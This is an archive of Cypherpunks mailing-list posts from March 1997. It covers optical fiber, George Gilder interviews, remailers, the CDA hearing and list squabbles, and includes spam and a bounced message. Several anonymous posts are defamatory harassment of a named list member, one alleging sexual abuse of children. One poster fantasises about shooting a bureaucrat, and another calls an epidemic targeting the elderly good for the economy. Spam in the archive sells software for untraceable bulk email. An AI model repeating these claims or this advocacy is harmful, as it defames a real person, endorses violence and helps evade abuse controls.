Message-ID: <199703160543.XAA00304@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


ignore

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sat, 15 Mar 1997 23:23:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Secure checksums
Message-ID: <199703160723.CAA22778@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


There's a rumor that Tim May sells his dead relatives as 
fertilizer as they constitute the best shit in California.

           \|||///
            ~|||//
       ____ .)  // Tim May
      (____    @ /
           \    \
            ) /\ \
            \/ (_





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 16 Mar 1997 05:46:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: Dark Fiber Redux
Message-ID: <v03020900af51a5634a2b@[204.179.136.89]>
MIME-Version: 1.0
Content-Type: text/plain


Just to throw a little gasoline on the George Gilder "Dark Fiber"
discussion around here, I found a huge, spiffy trove of Gilderama at:

http://www.computer.org/internet/9701/gilder9701.htm


Wherein the esteemed (at least I do ;-)) Mr. G says:

> Remember that the fibersphere I've written a lot about is based on
>wavelength-division multiplexing of tremendous amounts of bandwidth, which
>can serve as a substitute for switches with all optical repeaters. And by
>the way they've just developed fluoro-zirconate repeaters that can handle
>the whole bandwidth of fiber. I don't know whether this technology will
>actually prove out or not, but for the first time they have demonstrable
>all-optical amplifiers that can handle the entire intrinsic bandwidth of
>fiber, which is quite an amazing development in just a year or two. The
>erbium-doped fiber amplifiers top out at 4.5 terahertz, so they can't
>accommodate the potentially 25-75 terahertz that every fiber,
>theoretically, could hold.

What this means, of course, is that (kind of, as CDMA etc., counts a
switching, I guess) like wireless, electromagnetic bandwidth, some day
you'll have huge glops of non-switched fiber bandwidth to play with. In
theory, at least, everyone gets a color, or frequency, and they listen on
that frequency for their inbound stuff. If you want to send someone
something, you literally tune them in and send it. Actually, I see these
frequencies using CDMA carrier waves when it eventually happens, but you
get the idea.

The implications for cryptography are rather cool. I don't *think*  these
doped optical amplifiers interfere with so-called quantum cryptography (not
to be confused with quantum computing, of course). If I remember my SciAm
back issues, quantum crypto is cool, because if anyone touches the signal
from Alice to Bob they're detected immediately. Or, is it that the signal
drops? Can't remember which. Anyway, you need uninterrupted fiber to do QC,
and that's what you have with optical non-switched amplification, whether
you're disturbing the photons is another story. Anyone here know for sure?
I remember discussion about this, but I don't remember the answer.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 16 Mar 1997 10:04:06 -0800 (PST)
To: DataETRsch@aol.com
Subject: Re: File Posting Limitations
In-Reply-To: <970315130201_1614018220@emout07.mail.aol.com>
Message-ID: <332C247D.76AC@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


DataETRsch@aol.com wrote:
> 
> I'm wondering if there is a limit on the size of a file that can be tagged to
> a message posted to the cypherpunks mailing list.
> 
> Jeremy Yu-Ramos
> DataET Research

As a general rule ("netiquette"), you don't attach *anything* to a
message posted to a list.  If the attachment is plain text, however,
and it's rather small, i.e., same as you would hand-type inline, and
you're sure nobody's browser will have a problem with it, it might
be OK then.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 16 Mar 1997 10:04:33 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: (fwd) CarlMStarrsimulationExperiment
In-Reply-To: <199703160038.SAA17546@galaxy.galstar.com>
Message-ID: <332C2A63.2DA7@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov wrote:

> joe was pulled off a major drug case
> in the wiretapping of my phone i expect a jealous
> husband to tap my phone on in gardner ks on
[snip]
> No, the above was NOT written by me, nor by carl starrs. It was generated
> by a perl script, which emulates writing styles of different people.
> The way it does it is by keeping track of pairs of words and their most
> frequently used subsequent words. It reads articles (or any text really)
> written by the target person, builds the style tables, and then geenrates
> the "most likely" text.
> Carl starrs was a good target for two reasons, one of which is that he
> does not use punctuation.

Graham-John whoever also did not use punctuation in his sentences.
One could argue that they were too brief, however, proper English
would have dictated a comma here and there.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 16 Mar 1997 06:28:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Gilder on CDA, Crypto Export, DES, and Financial Cryptography
Message-ID: <v03020904af51b105058a@[204.179.128.11]>
MIME-Version: 1.0
Content-Type: text/plain


It's nice to see that the clueful memes are spreading, Gilder's congenital
statism aside :-).

Also from http://www.computer.org/internet/9701/gilder9701.htm .



> Petrie: While we're on the subject of choice, what do you think about the
> First Amendment issues currently before the Supreme Court concerning the
> use of legislation to block the viewing of pornography on the Internet?
>
> Gilder: My belief is that you don't have to change the laws to deal with
> the child pornography or snuff films or other extreme cases that are
> employed to justify sweeping regulation of the Net. I think they're a
> distraction, they're a red herring. My 12-year-old son is on the Net all
> the time and I'm eager for the evolution of techniques applicable at the
> terminal to lock out certain domains of the Internet to children. But I
> think that porn of sufficiently revolting character is widespread all over
> the society. If the politicians want to crack down, how about the
> Spectravision boxes in every hotel room?
>
> To focus on the Internet bespeaks another agenda. And I don't
> approve of the other agenda, which is to control this new communication
> system, because the way they controlled the old one has been a disaster--it
> has greatly slowed the extension of bandwidth and led to this kind of
> optical illusion, or nonoptical illusion, that bandwidth is somehow scarce
> and difficult to create.
>
> Petrie: This also reminds me of the paranoia about security on the
> Internet. For example, online banking on the Internet requires you to have
> a US-grade security browser, a user ID, and a password to access the same
> service you can use three digits to access by telephone.
>
> Gilder: I completely agree with that observation. There is a paranoid note
> in this encryption and privacy issue. But I think corporations do have a
> real problem. If you're sending billions of dollars of value across the
> Net, you've created a huge incentive for people to break your codes and
> skim off some small proportion of your value flow.
>
> Petrie: But we're not talking about financial transactions. Those have been
> secured for quite some time.
>
> Gilder: But how? They're using the DES (data encryption standard) algorithm
> which is a fairly low level of encryption employed by banks for
> transmitting funds. I know it works--I really don't agree with the thesis
> that the Internet is insecure--however, I'm willing to imagine there are
> applications where you want more security than currently exists. But we are
> talking about a lot of issues here all at once. The encryption issue about
> terrorism, for example. Banning strong encryption in order to thwart
> terrorists means that only terrorists will have strong encryption. I really
> think that's accurate--or at least only foreign countries will be able to
> have encryption. So the encryption technology will tend to move overseas
> where it's completely beyond the reach of US security.
>
> I think the government's going to figure out that they want the best
> encryption to be American. And to disagree with the current wisdom, there
> is an arms race. The arms race is with the terrorists. There's no question
> about it. But there is no quick technical fix for this arms race. The
> government has to understand this is a dynamic rather than a static arms
> race, and you won't be able to solve the problem by treaty. The problem is
> that of evil in the world, and it's something all of us, including people
> who want a wild and woolly Internet, depend on our government to address.


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 16 Mar 1997 10:04:40 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <199703141519.HAA27477@toad.com>
Message-ID: <332C34D6.1211@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Toto wrote:
> I will always remember reading a magazine piece by a fellow who
> described the increasing persecution of the Jews in Nazi Germany,
> and the abuses to which he was himself subjected.
> However, when describing the night when the jackboots kicked in
> his door to take his family to the death camps, he begins his
> account by saying, "They came without warning..."

Gosh, I feel bad whipping on one of the old/reliable/reputable
posters here, but, this seems to perfectly describe one T.C. May
and how he just couldn't believe what Sandy was doing, or that
Sandy would consider the c-punks' reputation to be expendable.

> > Check out the stiff who's pictured with Phil in the MicroTimes
> > current issue, his new partner or something.  Phil looks happy,
> > like they gave him a lifetime supply of double-stuff Oreos.

> Are both of Phil's partner's arms in plain view, or is his partner
> perhaps holding a gun on him?

I think someone else has a gun on both of them.  The "partner" is
wearing a badly-composed grin, but then he may have been pulled out
of the closet at the last moment for the photo, and the light could
be bothering him.

> I agree with TruthMonger's position that the very fact of extreme
> pressure being applied should be grounds for considering that perhaps
> PGP might have been compromised at some level, no matter what an
> analysis of the "numbers" shows, or one's faith in Philly Z.

Not only the software, but folks get lulled into complacency with
the "new, distributed" lists, thinking that since Gilmore/Sandfort
are "gone", everything is going to be OK from now on.

> There seems to be some weakly thought out definition of 'paranoia'
> going around which deems it to be the feeling you are supposed to get
> when you hear the sound of the jackboots on your door. Excuse me for
> disagreeing, but I believe the proper feeling at that point in time
> may be resignation to your own death (and a firm resolve not to go
> 'alone' into that dark night).

I have a Sid Vicious t-shirt that says "never let them take you
alive".  I really enjoyed the story of the Warsaw ghetto uprising
when I first heard it, and whereas Sid and the Warsaw dwellers are
from a different time and mindset, I think us modern folks can draw
the appropriate analogies.

> Or, if your door is strong enough, you might have one last chance
> to play "Hide the Salami" with Lady Byrd.

A gun in one hand and a babe in the other - what a privelege to be
an American!!  BTW, I saw an all-stainless Colt King Cobra .357
in a pawn shop the other day for $475.  Clean as a whistle.  I
snatched that puppy up real quick.  It would be my dying wish
to have some otherwise faceless bureaucrat be the recipient of
its intended use, should it come to that.

> Someone suggested to me, in private email, that they would suspect
> TruthMonger to be a Toto testicle, except for the lack of humor in
> any of his posts. However, I couldn't help but notice that TruthMonger's
> original post in this thread was a reply to a request for information in
> regard to "Anonymous Nymserver at anon.nymserver.com", and a request for
> an opinion as to the competence and integrity of those involved in its operation.

Exactly.  Now who would be taking an option on throwaways like that?

> Neither could I help noticing that TruthMonger's reply, which had
> mercilessly slammed both the integrity and motivations behind all
> remailer operations, and which suggested that one unequivocally mistrust
> all of them, was sent from the very anon-server in question.
> Make of this what you will, but bear in mind that Hypocrisy and
> Humor are not all that far apart in the dictionary.

[hee hee hee]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Sun, 16 Mar 1997 07:06:40 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks Mailing List)
Subject: Why keep that cash in the US?
Message-ID: <199703161503.KAA19888@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


HOUSTON (AP) -- The U.S. government can seize $7.9 million
from the bank account of Mexico's former top drug prosecutor, who was
accused of taking bribes from drug traffickers, a jury decided
Saturday.  

http://www.cnn.com/US/9703/15/mexico.money.ap/index.html

Adam

-- 
"Well, that depends.  Do you mind the end of civilization as we know
it?"








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 16 Mar 1997 08:10:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Why keep that cash in the US?
In-Reply-To: <199703161503.KAA19888@homeport.org>
Message-ID: <Rw1N4D6w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Shostack <adam@homeport.org> writes:

> HOUSTON (AP) -- The U.S. government can seize $7.9 million
> from the bank account of Mexico's former top drug prosecutor, who was
> accused of taking bribes from drug traffickers, a jury decided
> Saturday.
>
> http://www.cnn.com/US/9703/15/mexico.money.ap/index.html

This reminds me of the story of how the Eurodollar market was born.
Once upon a time, most countries had some U.S. dollar reserves which
they kept on deposit in the U.S.  The U.S.S.R. was one of those countries.
One day the U.S. indicated its desire to freeze Soviet deposits because
it did not like Soviet foreign policy (the way it subsequently froze
Iraq's and Iran's assets). The Soviets wisely took out their money,
took it to London, and started loaning it out at better interest rates
that they had in the U.S. (Prior to this transfer, it was very hard to
find a large dollar-denominated loan outside the U.S.) Soon many U.S.
investors realized that this was a good deal and took their money out
of the U.S., eventually leading to the "credit crunch" in the '70's.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 16 Mar 1997 08:12:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Triangle Area {Coder,Cypher}punks Group
In-Reply-To: <Pine.LNX.3.95.970316134545.3944B-100000@marvin.sp.org>
Message-ID: <V91N4D7w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


The Deviant <deviant@netlite.com> writes:
>
> On Sun, 16 Mar 1997, Simon Spero wrote:
>
> > [Partial resend from when the cryptography was down]
> >
> >
> >   Anybody interested in starting a Triangle area cpunks? Seems to be
> >   enough folks in the area to start putting together some regular
> >   physical meetings; since there's starting  to talk about  putting togethe
> >   a triangle-wide PKI pilot, now's a great time to get started.
> >
> > If you're intersested, please ack so I can get an idea if Mayberry RSA is
> > going to fly or not
> >
> > Simon
>
> Count me in for triangle cpunks...

Pink triangle?

> Just no meatings on the first or third fridays of the month...
>
>  --Deviant
>    PGP KeyID = E820F015 Fingerprint = 3D6AAB628E3DFAA9 F7D35736ABC56D39

We came to WashDC cpunk physicals a few times and it wasn't worth it.
There's an interesting exhibition of Romanoffs' jewerly at the Corcoran
- much more fun than any cpunks we've ever met.

> Sendmail may be safely run set-user-id to root.
>                 -- Eric Allman, "Sendmail Installation Guide"

Well, do you, punk? :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Sun, 16 Mar 1997 11:04:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199703161904.LAA19941@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain



=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: 415-206-9906




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brad Dolan <bdolan@USIT.NET>
Date: Sun, 16 Mar 1997 09:04:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Froomkin in the news
Message-ID: <Pine.GSO.3.95.970316115649.1678A-100000@use.usit.net>
MIME-Version: 1.0
Content-Type: text/plain


A Moot-Court dry run of the upcoming CDT hearing by the Supremes was held
Thursday in San Francisco and carried today by C-SPAN2.  

None other than our own M. J. Froomkin was one of the mock berobed ones.
His vigorous pro-CDT probing of the ACLU anti-CDT guys was probably good
practice for them, but he sure gave me the impression he really believed
what he was saying.

Brad

... Who has resolved to hold his nose and renew his ACLU membership.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brad Dolan <bdolan@USIT.NET>
Date: Sun, 16 Mar 1997 09:14:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Froomkin in the news II
Message-ID: <Pine.GSO.3.95.970316121218.4045A-100000@use.usit.net>
MIME-Version: 1.0
Content-Type: text/plain




A Moot-Court dry run of the upcoming CD_A_ hearing by the Supremes was
held Thursday in San Francisco and carried today by C-SPAN2.  

None other than our own M. J. Froomkin was one of the mock berobed ones.
His vigorous pro-CD_A_ probing of the ACLU anti-CD_A_ guys was probably
good practice for them, but he sure gave me the impression he really
believed what he was saying.

Brad

... Who has resolved to hold his nose and renew his ACLU membership.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 16 Mar 1997 10:51:14 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <332C34D6.1211@gte.net>
Message-ID: <199703161847.MAA04824@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> 
> A gun in one hand and a babe in the other - what a privelege to be
> an American!!  BTW, I saw an all-stainless Colt King Cobra .357
> in a pawn shop the other day for $475.  Clean as a whistle.  I
> snatched that puppy up real quick.  It would be my dying wish
> to have some otherwise faceless bureaucrat be the recipient of
> its intended use, should it come to that.

Sounds kinda expensive. What kind of gun is that? 

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Sun, 16 Mar 1997 11:21:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199703161920.OAA18964@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C[unt] Maytag is not only as queer as a 
three dollar bill, but he is also into having 
sex with children.

      \\///
      |O O| Timmy C[unt] Maytag
      | ( |
      |_@_|
        H





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: friend@your.friend.com (Your Friend)
Date: Sun, 16 Mar 1997 06:44:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: A Moment of Your Time Please
Message-ID: <199703161444.GAA01094@switzerland.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


If this message is unwelcome, please delete it.
You will not receive another from me.

Dear online marketer,

I have GREAT NEWS FOR ALL BULK EMAILERS and everyone who
markets a product or service online.

                  No more FLAMES

No more getting kicked off your ISP for bulk emailing

No more need to have a THROWAWAY ACCOUNT

No more need for a BULK EMAIL FRIENDLY ISP


This new ADVANCE software is designed to ELIMINATE all the above
and keep you FOCUSED on making money online.

This software was designed to work with NETCONTACT & FLOODGATE.

                 A must have for all bulk emailer.

                 It's Every bulk emailer's dream!

I used to have the usage of a virtual provider "Earthstar" and
one morning to my surprise their wires had been disconnected by
the telephone Company. I could no longer send out E-mail without
being identified by the receiver of the E-mail and reported to
my ISP and perhaps kicked off of my local provider. Then I ran
across the coolest software that would assist me in sending E-mail
and not being identified by anyone. Whether you live in a country
that doesn't allow you to use free speech, your shy and want to
send an anonymous love poem to someone, you want to advertise your
product without losing your ISP account, or you just want to flame
your boss without anyone knowing, then you may need the E-mail
Cloaking Device. This 32 bit shareware program enables you to send
anonymous correspondence all over the world.

If you would like to receive a free demo copy of this great software,
go to the Register page.  Fill it out and put TRG Associates as your Sales Rep.

go to the Register Page: http://www.hootowl.com/cloak/registerJ.htm

And then  GO TO: http://www.hootowl.com/cloak/emailJ.htm 

and download the demo version of Email Cloaking Device (ECD). It will 
allows you to e-mail up to 5 e-mails at a time. If you decide you want to
e-mail more at one time, you can order the commercial version by
sending your name, address, e-mail address and a money order for $299.95

		To:  	TRG Associates
			P. O. Box 337
			Greenville, TX 75403-0337
			Phone 903-450-8809

The commercial version has no restriction on how many people you can
send a message too at once. Also, the annoying message box that tells
you of each message sent has been taken out so that you can push one
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~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
If you would like to remove ALL e-mail you consider
junk then go to: http://catalog.com/tsw/efilter/ and download
this program. It will do the repelling job for you automatically.
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~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 16 Mar 1997 12:46:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: BAD_gyz
Message-ID: <1.5.4.32.19970316203851.006c4ffc@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


TWP writes Page Oner on the FBI's computer upgrade
snafu for NCIC and national fingerprint info on demand, 
with multi-millions in overruns and mismanagement. 
It says that as a result Congress has refused initial $100m 
for digital wiretap and will not release funds until the feebies 
show technological and managerial competence.

Freeh and Gorelick claim they were misled on costs of the
upgrades by underlings. However, a feebie says that the 
budgets were deliberately under-priced to get approval, and
that everyone knew more would be needed. 

The implication is that $500 million is too low for DTA, but
that Congress thinks its way too high for bumblers.

-----

BAD_gyz





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Sun, 16 Mar 1997 14:50:18 -0800 (PST)
Subject: Failed mail
Message-ID: <ja227327.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Re: Message to debbi@astrobiz.com

This message has not been delivered after 12 hours.
Therefore it is being returned to you.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.60] by smtp1.abraxis.com (NTMail 3.01.03) id ja227327; Tue, 11 Mar 1997 13:03:21 -0500
>Subject: time dangers and tenure
>kept to
>Date: Tue, 11 Mar 1997 13:03:20 -0500
>Message-Id: <18032091800564@abraxis.com>
>
>punishment many
>and
>
>fundamentally and works
>captive.  to in a
>them inevitably
>
>of these
>between do lives Feb
>Inc and.  your
>
>resume
>Services important if write
>Years INFORMATION Area Name
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 16 Mar 1997 23:14:36 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Threat Model: Biowar
In-Reply-To: <2HTo4D6w165w@bwalk.dm.com>
Message-ID: <332CAFF0.1AD@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> Dale Thorn <dthorn@gte.net> writes:
> > Biowar attacks (unless giant-scale, intended to kill millions)
> > mainly affect the already-sick, very old, and very weak members
> > of the population.  This is, of course, a favored plan for fascist
> > persons such as the woman who founded Planned Parenthood, George
> > Bush, the Harrimans, Shockley, etc., but nearly useless to target
> > dissidents and "crypto anarchists".

> If medicare or social security get too expensive, an epidemic targeting
> the elderly would be good for the economy. I did a little work with
> (biological) viruses under the late Lou Auslander and the technology
> available 12 years ago was pretty amazing. I'm sure they can do more now.

The analogies from bio-viruses to computer equivalents is interesting
in a crypto-anarchic context.  Be nice to hear more on this.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 16 Mar 1997 23:14:56 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <199703161847.MAA04824@manifold.algebra.com>
Message-ID: <332CB246.297D@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dale Thorn wrote:
> > A gun in one hand and a babe in the other - what a privelege to be
> > an American!!  BTW, I saw an all-stainless Colt King Cobra .357
> > in a pawn shop the other day for $475.  Clean as a whistle.  I
> > snatched that puppy up real quick.  It would be my dying wish
> > to have some otherwise faceless bureaucrat be the recipient of
> > its intended use, should it come to that.

> Sounds kinda expensive. What kind of gun is that?

I hadn't shopped for a gun in 10 years, and the only high-quality
Colt revolver I knew of then was the Python, which was $675 new
in 1986.  I'm sure the equivalent today would be $1200 or more,
so I thought the Cobra at $475 used was a good deal.  I assume
the Cobra is equivalent to the Python, it sure looks and feels
like it.  If you're familiar with these things, you can tell a
lot just by pulling the trigger and "feeling" the action.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sun, 16 Mar 1997 18:06:02 -0800 (PST)
To: Bovine Remailer <haystack@holy.cow.net>
Subject: Re: your mail
In-Reply-To: <199703161920.OAA18964@holy.cow.net>
Message-ID: <Pine.A41.3.95.970316190258.111362B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 16 Mar 1997, Bovine Remailer wrote:



This is from the mind of Vulis.

> Date: Sun, 16 Mar 1997 14:20:05 -0500 (EST)
> From: Bovine Remailer <haystack@holy.cow.net>
> To: cypherpunks@toad.com
> 
> Timmy C[unt] Maytag is not only as queer as a 
> three dollar bill, but he is also into having 
> sex with children.
> 
>       \\///
>       |O O| Timmy C[unt] Maytag
>       | ( |
>       |_@_|
>         H
> 


        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real@freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756@freenet.toronto.on.ca






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Disney Online <site_admin@online.disney.com>
Date: Sun, 16 Mar 1997 20:07:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Registration System Upgrade
Message-ID: <199703170409.UAA18363@postino.disney.com>
MIME-Version: 1.0
Content-Type: text/plain


Dear Disney.com Guest:

Disney.com is about to improve its Guest Registration 
system.  Unfortunately, your personalized Disney.com 
Registration name is currently set to expire during the 
upgrade process.

You may prevent this from happening. If you wish to keep 
your current Disney.com Registration name and Password, all 
you need to do is update them by March 24.  Once you do, 
you'll remain eligible to enter all our contests and 
sweepstakes and continue receiving e-mail updates on what's 
new from Disney.

It's easy to update your Registration info!  Simply cut and 
paste (or copy) the following URL into your browser's 
"Address" or "Go To:" window:

  http://www.disney.com/Survey/ddc_registration/update.html

At the top of the Registration page, please type your 
Registration name and Password in the appropriate spaces. 
Then click the "Update my Registration" button and your 
information will be updated automatically.


Of course, if you don't update your Registration now, 
you'll still be able to enter contests at Disney.com any 
time after March 24 -- you simply won't be guaranteed your 
original Registration name and Password and you may have to 
register again.

We apologize for the inconvenience, and we thank you for 
visiting Disney.com!

Your friends at Disney.com



(c) Disney.  All rights reserved.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 16 Mar 1997 18:00:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Threat Model: Biowar
In-Reply-To: <332C222D.423E@gte.net>
Message-ID: <2HTo4D6w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:

> Anonymous wrote:
> > Highly contagious airborne diseases are known to exist.  Germ warfare
> > laboratories are also known to exist.  The owners of these labs will
> > do anything to get and keep power.
> > The Internet and crypto-anarchy threatens those who currently have
> > power.  How will they respond?
> > One response would be a biowarfare attack on the civilian population.
>
> [snip]
>
> Biowar attacks (unless giant-scale, intended to kill millions)
> mainly affect the already-sick, very old, and very weak members
> of the population.  This is, of course, a favored plan for fascist
> persons such as the woman who founded Planned Parenthood, George
> Bush, the Harrimans, Shockley, etc., but nearly useless to target
> dissidents and "crypto anarchists".

If medicare or social security get too expensive, an epidemic targeting
the elderly would be good for the economy. I did a little work with
(biological) viruses under the late Lou Auslander and the technology
available 12 years ago was pretty amazing. I'm sure they can do more now.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Wealth-Builder@TeamWealth-II.net
Date: Mon, 17 Mar 1997 00:24:29 -0800 (PST)
To: (Recipient list suppressed)
Subject: Hello
Message-ID: <3.0.1.32.19970316205844.006ad67c@TeamWealth-II.net>
MIME-Version: 1.0
Content-Type: text/plain




I was recently introduced to the most powerful wealth generating program in 
the world, and I thought you would like to hear about it.

       			NEVER WORRY ABOUT MONEY AGAIN!

This is a busniness that anyone can do, and it is NOT MLM.  (It's 100 times 
more powerful than MLM!)  Our unique time proven system will put you in a 
position to earn $5000+ per week in a very short period of time.

	   Call our Opportunity Line for a FREE 2 minute introduction:

			        1-800-995-0796 Ext. 6173

P.S.  Our group believes in working as a TEAM.  If you follow our system, 
using our support you WILL be successful.  We have a 100% NO RISK GUARANTEE!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 16 Mar 1997 20:56:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: An interesting spam item on applications of anonymity
In-Reply-To: <199703161444.GAA01114@switzerland.it.earthlink.net>
Message-ID: <H2To4D7w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


I found an interesting piece of spam:

From: friend@your.friend.com (Your Friend)
Subject: A Moment of Your Time Please
Date: 16 Mar 1997 16:34:00 -0500

If this message is unwelcome, please delete it.
You will not receive another from me.

Dear online marketer,

I have GREAT NEWS FOR ALL BULK EMAILERS and everyone who
markets a product or service online.

                  No more FLAMES

No more getting kicked off your ISP for bulk emailing

No more need to have a THROWAWAY ACCOUNT

No more need for a BULK EMAIL FRIENDLY ISP


This new ADVANCE software is designed to ELIMINATE all the above
and keep you FOCUSED on making money online.

This software was designed to work with NETCONTACT & FLOODGATE.

                 A must have for all bulk emailer.

                 It's Every bulk emailer's dream!

I used to have the usage of a virtual provider "Earthstar" and
one morning to my surprise their wires had been disconnected by
the telephone Company. I could no longer send out E-mail without
being identified by the receiver of the E-mail and reported to
my ISP and perhaps kicked off of my local provider. Then I ran
across the coolest software that would assist me in sending E-mail
and not being identified by anyone. Whether you live in a country
that doesn't allow you to use free speech, your shy and want to
send an anonymous love poem to someone, you want to advertise your
product without losing your ISP account, or you just want to flame
your boss without anyone knowing, then you may need the E-mail
Cloaking Device. This 32 bit shareware program enables you to send
anonymous correspondence all over the world.

If you would like to receive a free demo copy of this great software,
go to the Register page.  Fill it out and put TRG Associates as your Sales Rep.

go to the Register Page: http://www.hootowl.com/cloak/registerJ.htm

And then  GO TO: http://www.hootowl.com/cloak/emailJ.htm

and download the demo version of Email Cloaking Device (ECD). It will
allows you to e-mail up to 5 e-mails at a time. If you decide you want to
e-mail more at one time, you can order the commercial version by
